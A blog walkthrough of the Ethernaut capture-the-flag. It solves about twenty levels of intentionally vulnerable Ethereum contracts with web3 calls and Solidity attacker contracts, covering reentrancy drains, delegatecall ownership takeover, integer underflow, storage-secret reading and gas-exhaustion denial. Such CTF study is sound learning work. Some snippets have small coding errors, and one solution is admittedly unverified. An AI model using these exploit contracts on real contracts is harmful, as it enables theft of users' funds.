Rick Ramgattie's InfoSec Adventures

| Posts | About |

Practical Smart Contract Exploitatiton (Ethernaut CTF)

Published Date: 2020-09-12

Ethernaut is a Capture The Flag (CTF) that hosts vulnerable Ethereum contracts. It's a great way to learn about practical smart contract exploitation. If you want to follow along I recommend following the instructions outlined in "Hello Ethernaut".

If you want to learn more about Ethereum and smart contract I recommend checking out Ethereum Book also known as Mastering Ethereum. This book goes over how smart contracts and Ethereum transactions work in depth. The details covered in the book helped me understand what smart contract exploitation looks like when you do not have access to source or the contract's ABI.

01 - Fallback

In Fallback we need to hijack the contract and reduce it's balance to zero.

There are four functions, one of which is a "fallback" function. The "fallback" function is evaluated when a deployed contract receives a transaction that does not have a declared function in the data section or the data section is empty altogether. In Solidity you can declare only one "fallback" function, it cannot have any parameters, it cannot return anything, and it must have "external" visibility.

This function "requires" that the transaction received contain ether and have funds in the "contributions" map. We can add an entry to the "contributions" map by calling the "contribute" function. The only requirement for this function is that the transaction contain less than ".001" ether. If we call this "contribute" function first, and then "sendTransaction" we will become the owner of the contract. Last, we will need to call the "withdraw" function and we will have completed the challenge.

await contract.contribute({value: 1000 }); await contract.sendTransaction({value: 1000}); contract.withdraw();

Figure 1. Fallback solution

02 - Fallout

In Fallout we need to take over the contract.

If copy the source from the contract into Remix you will see that the "Fal1out" is not a constructor because it is not the same as the contract name of "Fallout". As such, we can take over the contract and complete the challenge by calling the "Fal1out" function.

await contract.Fal1out();

Figure 2. Fallout solution

03 - Coin Flip

In Coin Flip we need to guess 10 coin flips in a row. You cannot securely generate random numbers in Solidity so there must be something run with random number generation. If we call the target from another contract we can ensure that we know all of the parameters used to generate the coin flip.

We can complete this challenge by calling the target from a malicious contract that exploits the predictability of the random number generator. In the example contract below I used the original contract as a reference in my IDE (Remix).

contract CoinFlipSolver { uint256 FACTOR = <FACTOR>; CoinFlip targeContract; constructor (address _targetAddress) public { targeContract = CoinFlip(targetAddress); } function solveCoin() public returns (bool) { uint256 blockValue = uint256(blockhash(block.number-1)); uint256 coinFlip = blockValue / FACTOR; bool coin = coinFlip == 1 ? true : false; return targeContract.flip(coin); } }

Figure 3. Coin Flip solution

04 - Telephone

In Telephone we need to take over the contract.

The "changeOwner" function attempts to verify that the address in the "tx.origin" is not the same as the "msg.sender" address. The "tx.origin" in a transaction is untrustworthy because it is the address of the Externally Owned Account (EOA), whereas "msg.sender" which could be a contract address or an EOA.

We can complete this challenge by calling the targets "changeOwner" function from another smart contract. You can build the example contract I provided below in Remix, and call "solveTelephone" with the appropriate parameters. Make sure that the Environment in Remix is set to "Injected Web3" so that you can interface with the target contract as it's deployed on the right test network.

pragma solidity 0.5.0; contract Telephone { function changeOwner(address _address) public { } } contract TelephoneSolver { function solveTelephone(address _targetAddress, address _newOwner) public { Telephone target = Telephone(_targetAddress); target.changeOwner(_newOwner); } }

Figure 4. TelephoneSolver contract (Telephone Solution)

05 - Token

In Token we need to increase the tokens associated with your address in the "balances" map.

The "transfer" function is the only one that is accessible tp is that isn't a "view" function. The "require" in this function attempts to verify that balance of address in the "_to" parameter minus the "_value" parameter of the "_transaction" is greater than or equal to zero. By default Solidity is vulnerable to Integer Underflow where the number will wrap around instead of becoming negative.

We can complete this challenge by calling the "transfer" function with a random address and number larger than 20 (ex. 21) to underflow the "uint" that is associated with our address in the "balances" map. That is, by transferring tokens to a random account with a "_value" that is greater than our balance we can underflow our balance.

await contract.transfer( "0xB5b76C2aBFf9A355E03480Ded77e21a396887bB6", 21 ); await contract.balanceOf(player);

Figure 5. Token solution

06 - Delegation

In Delegation we need to take over the provided instance.

The provided Solidity code has 2 contracts, one named "Delegate" and one named "Delegation". In "Delegation" there is a fallback function that uses the "delegatecall" function to pass the "data" in the transaction to the "Delegate" contract. The "deletegatecall" function passes the "data", "msg.sender", and "msg.value" of the caller directly through to the "delegate".

We can complete this challenge by calling the fallback function in the "Delegation" contract with "data" that calls the "pwn()" function in the "Delegate" contract. The "pwn()" function in "Delegate" changes the "owner" of the contract, but since we are accessing this function through "delegatecall" we can become the calling contract's ("Delegate") owner.

await web3.eth.sendTransaction({ from: '', to: '', data: web3.eth.abi.encodeFunctionSignature('pwn()') });

Figure 6. Delegation solution

07 - Force

In Force we need to "force" funds into the account so that the balance is greater than zero.

Unlike the other challenges we have worked on this challenge does not provide you with the source code for the contract. If we decompile the deployed contract using Etherscan's built in decompiler we can see that there are a couple payable functions, but we cannot fulfill the constraints of their corresponding "require"s. You can also "force" ether into an account by calling the selfdestruct on your own contract, "sending any remaining ether in the account to the recipient address".

We can complete this challenge by deploying, funding, setting our target as the "recipient", and then destroying our own contract You can build the example contract I provided below in Remix, send funds to it, and call "solveForce" with the appropriate parameters. Make sure that the Environment in Remix is set to "Injected Web3" so that you can interface with the target contract as it's deployed on the right test network.

pragma solidity 0.5.0; contract ForceSolver{ function () external payable { } function solveForce(address payable _dest) public { selfdestruct(_dest); } }

Figure 7. ForceSolver contract (Force solution)

08 - Vault

In Vault we need to change the "locked" boolean to "false".

When the "constructor" is called the "locked" boolean will is set to "true", and the "password" variable is set based on the contents of the "_password" parameter. You can't hide secrets on a blockchain, the password variable that is instantiated when the contract is created is publicly available.

We can complete this challenge by querying the blockchain for the transaction data that was sent during contract creation. After we have pulled the password out we can call the "unlock" function and change the "locked" boolean to "false".

data = await web3.eth.getStorageAt( '0x17395a75C35Ca341FA4E09B9ABC8041a5B67d5Fd', 1 ); await contract.unlock(data);

Figure 8. Vault solution

09 - King

In King we need to prevent self-proclamation.

We are two functions that we can interact with, the first is the "fallback" function and the second is the "_king" function. The "_king" function doesn't do anything interesting but the "fallback" function transfers money to the new "King'' when the "require" is met. If we call this contract from our own contract we revert the transaction when funds are sent to us in the target contract's "transfer". In the "NahBro'' contract below there is a constructor so that you can fund the contract. You will need to add sufficient Ether to meet the requirement of the target contract and cover the gas. Then, there is a "fallback" function that reverts the transaction when it is called and a "destroy" function that I used to get the funds out of the contract when I was done. The last function is "callKing'' which calls the fallback function in a target function specified in the "kingAddress" parameter. It took me a while to get the syntax for the "call" correctly. If you are having issues compiling the contract check the docs for the Solidity version at the top of the contract.

We can complete this level by deploying the contract with sufficient funds (I deployed it with 2 Ether), calling the "callKing" function with the address of our target contract (the "King" contract), making sure that our wallet has a decent gas limit, and waiting for the transaction to complete. You can then submit the instance and you should have won! You can now "destroy" the contract to get back any residual Ether.

pragma solidity ^0.5.4; contract NahBro { constructor () public payable { } function () external payable { revert("nahbro"); } function destroy(address payable inheritor) external{ selfdestruct(inheritor); } function callKing(address kingAddress) public payable { //You need to use 'call' because 'transfer' and 'send' have a max 'gas' kingAddress.call.value(msg.value).gas(60000000000)(""); } }

Figure 9. King solution

10 - Re-entrancy

In Re-entrancy we need to exploit a "re-entrancy" vulnerability to steal all of the Ether in the contract.

In the "withdraw" function the "Reentrance" contract calls the "fallback" function of the sender. When the "Reentrance" contract issues this call the state of the contract is "paused". We can take advantage of this paused state to "re-call" or "re-enter" the "withdraw" function from within the definition of the "fallback" function in our contract.

We can complete this level with the contract below. When you deploy it you need to fund the contrac and set the "target". I was having a hard time using a raw "call" so instead I built the contract with a "stub" of the target. The first time I ran "exploit" it failed because I did not give the transaction enough "gas", reset the max if yours fails as well.

contract ReEntrancySolver { Reentrance target; constructor(address _target) public payable { target = Reentrance(_target); } function exploit() public payable { c.donate.value(0.1 ether)(address(this)); c.withdraw(0.1 ether); } function() external payable { c.withdraw(0.1 ether); } function destroy(address payable inheritor) external { selfdestruct(inheritor); } }

Figure 10. Re-entrancy solution

11 - Elevator

In Elevator we need to get to the top floor of the building.

There is only one function in the contract called "goTo" that depends on the "isLastFloor" function of the caller. This means that the "goTo" function expects to be called from another contract where a "isLastFloor" function needs to exist.

We can complete this challenge by "flipped" state variable that the elevator goes to the top floor. If you call the "solve" function in the contract below with the value "1" the elevator will go to the top floor.

contract Building { Elevator elevator = Elevator(<TARGET_CONTRACT>); bool flipped; function solve(uint _floor) public { elevator.goTo(_floor); } function isLastFloor(uint) external returns (bool) { flipped = !flipped; return flipped; } } }

Figure 11. Elevator solution

12 - Privacy

In Privacy we need to call the "unlock" function in the contract with the correctt "_key".

As we learned in "Vault - 08" there are no secrets in the blockchain. The "_key" to "unlock" the contract is set in the "constructor" when "data" is initialized. The trick to solving this challenge is understanding what storage looks like in a smart contract. The most noteworthy details being that "string" and "byte" are big endian, and "bytes32[3]" is an array with 3 items 32 bytes long. The arrays section in the Solidity Cookbook helped me clear this up as well. The "require" in the "unlock" function does a comparisson with "bytes16" against "data[2]".

We can complete this challenge by calling with "unlock" function with the first 16 bytes (first 32 characters) plus the appended "0x" in the 5th storage item.

var hex = await web3.eth.getStorageAt(contract.address, 5); await contract.unlock(hex.slice(0,34));

Figure 12. Privacy solution

13 - Gatekeeper One

In Gatekeeper One we need to enter the "gate" and register as an "entrant".

The "GatekeeperOne" contract has 1 function with 3 "modifiers", we need to meet the constraints of all 3 "modifiers" if we want to evaluate the encapsulated function code. We can pass the check in "gateOne" by calling the contract from another contract like we did in "Telephone". I had a really hard time trying to figure out how to pass the check in "gateTwo" and decided to try and run through "300" possible options with a "for" loop, the "211" the call succeeded.

We can solve this challenge by writing a contract that issues a "call" that meets the constraints of all three "modifiers". For "gateThree" we need to provide a valid "key" of type "bytes8", which means that we need to provide a "64 bit" key that meets all 3 of the checks in "gateThree". The first check attempts to check that the _value of the last "32 bits" is the same as the _value of the last "16 bits". Then, the last "32 bits" cannot be the same as the last "64 bits", and the last check verifies that the _value of last "32 bits" is the same as the last "16 bits" of "tx.origin". We can calculate the appropriate "key" by using a "bitmask" that meets all of those requirements.

contract GatekeeperOneSolver { address gate; bytes8 key; constructor() public{ key = bytes8(uint64(tx.origin)) & 0xFFFFFFFF0000FFFF; } function setTarget(address _target) public { gate = _target; } function solve() public { for (uint256 i = 0; i < 300; i++) { address(gate).call.gas(i + 8191*2)(abi.encodeWithSignature("enter(bytes8)", key)); } } function destroy() public{ selfdestruct( 0xB5b76C2aBFf9A355E03480Ded77e21a396887bB6 ); } }

Figure 13. Gatekeeper One solution

14 - Gatekeeper Two

In Gatekeeper Two we need to enter the "gate" and register as an "entrant".

This challenge is similar to "Gatekeeper One" in that we need to meet the constraints of 3 "modifiers" to solve the challenge.

We can solve this challenge by writing a contract that issues a "call" that meets the constraints of all three "modifiers". For "gateOne" we need to call the target contract from another contract like we did in "Telephone" and "GateKeeper One". It took me a while to figure out the check at "gateTwo" and eventually learned that "extcodesize(caller)" is "0" when the target is called from the "constructor". Last, the check at "gateThree" can be met if we remember that "XOR" is commutative (something that I learned from Cryptopals).

pragma solidity ^0.5.0; contract GateKeeperTwoSolver { constructor(address target) public{ bytes8 key = bytes8( uint64( bytes8( keccak256(abi.encodePacked(address(this))) ) ) ^ uint64(0) - 1 ); address(target).call( abi.encodeWithSignature("enter(bytes8)", key) ); } }

Figure 14. Gatekeeper Two solution

15 - Naught Coin

In Naught Coin we need to reduce our balace to 0.

The "transfer" function in the "NaughtCoin" contract does not allow you to withdraw funds for the next 10 years. This contract inherits from "ERC20" and "ERC20Detailed". In the "ERC20" contract you will see that there are a number of other functions that are available to the public. Of those functions we can use "approve" and "transferFrom" to get our funds out before the 10 year mark.

We can solve this challenge by calling the "approve" function with our "address" and the "INITIAL_SUPPLY" that is granted to us. Then, we can call "transferFrom" with our "address", the "address" of the contract, and the amount we want to withdraw.

await contract.approve(player,toWei(1000000)); await contract.transferFrom( player, contract.address,toWei(1000000) )

Figure 15. Naught Coin solution

16 - Preservation

In Preservation we need to claim ownership of the contract.

In "Delegation" we learned that the "delegate" can mutate the state of the calling contract, and in "Privacy" we learned about how storage was setup for smart contracts. In "Preservation" contract we see that there are 2 "delegatecall"s but it doesn't look like we can control the function is being called, we can only control "_timeStamp" parameter. If we call "setFirstTime" or "setSecondTime" it is going to set the value of "storedTime" to a value provided by the user. As we learned in "Delegation" the state mutated by the "delegate" contract is that of calling contract. If we call either of those with the "decimal" representation of a malicious contract's address we can call the same function again in "Preservation" and have the delegate be a contract of our choice. After we get our target to call our contract we can update the caller's "owner" parameter to be our address.

We can solve this challenge by deploying a malicious contract like the one below, converting its address to decimal, calling "setFirstime" with the decimal contract address, and then recalling "setFirstTime" with the decimal address of your wallet.

pragma solidity ^0.5.0; contract PreservationSolver { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; function setTime(uint _time) public { owner = msg.sender; } } /* await contract.setFirstTime( "<decimal address of your malicious contract>" ) await contract.setFirstTime( "<decimal address of your wallet address> ") */

Figure 15. Preservation solution

17 - Recovery

In Recovery we need to recover the funds of the lost contract address.

The "Recovery" contract does not have a lot going on, all it has is 1 function that creates a "SimpleToken". The "SimpleToken" contract has 3 functions, and the first one that popped out to me was "destroy" because it calls "selfdestruct". The "selfdestruct" method (as we learned in "Force") sends all of the "Ether" in the contract to the provided address.

We can solve this challenge by extracting the address of the "SimpleToken" contract that was created for the owner, and calling the "destroy" function with our wallet's address.

abiData = web3.eth.abi.encodeFunctionCall({ name: 'destroy', type: 'function', inputs: [{ type: 'address', name: '_to' }] }, [player]); await web3.eth.sendTransaction({ from: player, to: '<SimpleToken Contract Address>', data: abiData });

Figure 17. Recovery solution

18 - Magic Number (Skipped)

In Magic Number we need solve the challenge in "10 opcodes at most." I don't particularly care for these types of challenges so I am going to skip it ¯\_(ツ)_/¯.

19 - Alien Codex (Broken)

In Alien Codex we need to claim ownership of the contract.

When I tried this challenge it was broken as described in this github issue so I was unable to solve it. I am pretty sure that this challenge has an "Array Underflow".

20 - Denial

In Denial we need to deny the "owner" from withdrawing funds when "withdraw" is called.

There are 3 functions in the contract that look interesting: "setWithdrawPartner", "withdraw" and "fallback". In "setWithdrawPartner" we can set ourselves as a partner, and in "fallback" we can send funds to the contract. When we call "withdraw", "amountToSend" is calculated and sent to us by using the "call" function. As we learned in "King" and "Re-Entrancy" the amount of "gas" available in a transaction determines what operations are performed. If we exhaust the available "gas", we can prevent the subsequent "transfer" from occurring.

We can solve this challenge by adding an "assert" to the "fallback" function of a malicious contract. Assert will exhaust all of the "gas" in the transaction, denying the "transfer" to "owner".

contract DenialSolver { address public target; constructor(address _target) public payable { target = _target; bytes memory payload = abi.encodeWithSignature("setWithdrawPartner(address)", address(this)); target.call(payload); } function() external payable { assert(false); } }

Figure 20. Denial solution

21 - Shop (Partially Solved)

In Shop we need to purchase from the "Shop" for less than the advertised price.

The "Shop" contract is a lot like the "Elevator" contract in that the targeted contract depends on an external contract. When the "buy" function is called it checks to see that the "price" function returns a value that is greater than or equal to the current price, and then sets the value of the "price" value by calling the function again. Since we are in control of the contract that is being called by the instance of the "Shop" contract we can vary our response. To reduce the amount of "gas" we spend we can vary our responses based on "isSold" in "Shop" because "reads are free".

I was unable to exploit this in practice, however I am sure that this would work if the "gas" were slightly larger.

contract ShopSolver { Shop target; constructor(address _target) public { target = Shop(_target); } function solve() public { target.buy(); } function price() public view returns(uint){ if(target.isSold()){ return 101; } else { return 1; } } function destroy() public { selfdestruct(msg.sender); } }

Figure 21. Shop solution